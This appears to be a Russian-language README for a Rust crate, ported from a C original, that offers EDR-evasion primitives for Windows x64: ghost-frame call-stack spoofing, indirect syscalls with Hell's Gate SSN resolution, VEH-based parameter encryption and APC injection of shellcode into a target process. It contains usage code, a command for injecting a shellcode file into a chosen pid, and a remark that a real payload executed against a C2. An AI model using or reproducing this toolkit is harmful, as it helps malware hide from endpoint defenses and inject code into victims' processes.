
Rust крейт для спуфинга стека вызовов ghost-frame, runtime indirect syscalls и APC injection на Windows x64. Предоставляет разрешение SSN, эмиссию JIT-заглушек и шифрование параметров на основе VEH для обхода EDR.
Спуфинг стекового кадра-призрака + косвенные системные вызовы во время выполнения для Windows x64 — портировано на Rust.
Портировано из LACUNA Chain (lacuna_chain.c) Мохамеда Альзхрани (0xmaz).
lacuna-rs — это переиспользуемый Rust-крейт, предоставляющий те же примитивы, что и оригинальная TTP на C, структурированный так, чтобы его можно было встроить в любой Rust-проект — как wsyscall-rs или syscalls-rs, но с разрешением SSN во время выполнения, нацеливанием на syscall;ret для каждой функции и спуфингом стекового кадра-призрака.
Функция
stack-spoofбудет молчаливо терпеть неудачу, если потребляющий крейт не скомпилирован с указателями кадров.
Примитивы затирания стека в chain.rs находят слот адреса возврата вызывающей функции через встроенный ассемблер mov rbp, {x}. Это требует, чтобы цепочка RBP была нетронутой. Rust (и большинство компиляторов в режиме релиза) по умолчанию опускают указатели кадров.
build.rs устанавливает force-frame-pointers=yes для собственной кодогенерации этого крейта, но Cargo не может распространять флаги компилятора на нижестоящие крейты. Вы должны добавить это в свой собственный проект:
# .cargo/config.toml (в ВАШЕМ крейте, не в lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Без этого stomp_plant() прочитает мусор из RBP и либо ничего не сделает (лучший случай), либо повредит стек (худший случай). У крейта нет возможности определить во время выполнения, включены ли указатели кадров — он просто не будет работать.
Если вам нужны только примитивы сканирования, разрешения SSN или внедрения (без спуфинга стека), вы можете опустить функцию stack-spoof, и это требование не применяется.
| Примитив | C-функция | Модуль Rust |
|---|---|---|
| Парсинг PE-секций и экспорта | pe_section(), pe_export() | pe |
Сканирование областей-призраков .pdata | scan_ghosts(), best_ghost() | scan |
Обнаружение гаджетов-призраков (jmp [rbx]) | scan_ghost_gadgets() | scan |
Поиск NOP-пробелов в win32u | win32u_nop_gap() | scan |
| Поиск якоря BYOUD-MF | find_mf_target() | scan |
| Разрешение SSN (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
Локатор syscall;ret для каждой функции | find_func_syscall() | nt |
| JIT-эмиссия заглушки косвенного системного вызова | alloc_stub() | stub |
| Перенаправление заглушки через гаджет-призрак | (в alloc_stub()) | stub |
| VEH + шифрование параметров аппаратной точкой останова | param_encrypt_veh(), pcrypt_arm() | veh |
| VEH-защита цепочки | chain_veh() | veh |
| Построение цепочки LACUNA | build_chain() | chain |
| Затирание стека (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| Обходчик цепочки (проверка) | lacuna_walk_chain() | chain |
| Внедрение APC на основе секций | do_inject_sapc() | inject |
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
| Функция | Описание | Требует указатели кадров? |
|---|---|---|
syscalls (по умолчанию) | Разрешение SSN + JIT-эмиссия заглушек | Нет |
inject (по умолчанию) | Внедрение APC на основе секций (inject::inject_sapc) | Нет |
veh | VEH + шифрование параметров аппаратной точкой останова | Нет |
stack-spoof | Цепочка кадров-призраков LACUNA + затирание стека | Да |
no-std | Режим no_std (экспериментально) | Нет |
Если ни одна функция не включена, доступны только уровни сканирования/PE/NT.
cargo run --example scan
cargo run --example verify --features stack-spoof
Пример внедрения с реальной нагрузкой — C2 был офлайн, но шеллкод выполнился
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
Добавьте --verbose для включения диагностического вывода VEH (дампы стека, печать регистров):
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
Вместо постановки APC в очередь каждому потоку целевого процесса (что может привести к сбою, когда слишком много потоков одновременно оповещаются), inject_sapc использует алгоритм оценки для выбора лучших MAX_APC_THREADS (5) кандидатов:
NtQueryInformationThread(ThreadCycleTime) — основной индикатор активностиNtQueryInformationThread(ThreadTimes) — время ядра + пользователяNtQueryInformationThread(ThreadSuspendCount) — неприостановленные потоки получают +300 бонуса; приостановленные получают -150 за каждую приостановкуNtQueryInformationThread(ThreadBasicInformation) — потоки с приоритетом 8-10 получают +150 бонуса; приоритеты вне диапазона получают -100 штрафаПолностью бездействующие потоки (нулевые циклы и нулевое время ЦП) полностью пропускаются. Оставшиеся кандидаты сортируются по баллам (наивысший первый, при равенстве по циклам) и усекаются до 5 верхних.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// Сканирование областей-призраков
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} ghost regions in ntdll", n);
// Разрешение SSN + syscall;ret для конкретной функции
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// Разрешение SSN + адреса собственного syscall;ret функции
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT-эмиссия заглушки: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (или jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret, если была вызвана build_chain)
let stub = stub::make_stub(ssn, syscall_ret).expect("не удалось выделить заглушку");
// Приведение к соответствующему типу указателя на функцию и вызов
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// Сканирование ntdll/kernelbase/wow64/win32u на предмет областей-призраков и построение
// шестиуровневого поддельного стека вызовов. Устанавливает G_GHOST_GADGET, чтобы заглушки
// маршрутизировались через JMP [RBX] в подписанной DLL.
lacuna::chain::build_chain();
// Регистрация обработчиков VEH (шифрование параметров + защита цепочки)
let _veh = lacuna::veh::VehGuard::register().expect("Не удалось зарегистрировать VEH");
// Опционально: включение подробной диагностики во время выполнения
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// Размещение кадров-призраков (замена адресов возврата на призраки из подписанных DLL)
lacuna::chain::stomp_plant();
// Установка DR0 на syscall;ret — VEH будет XOR-расшифровывать параметры на границе
lacuna::veh::pcrypt_arm(key, syscall_ret, true);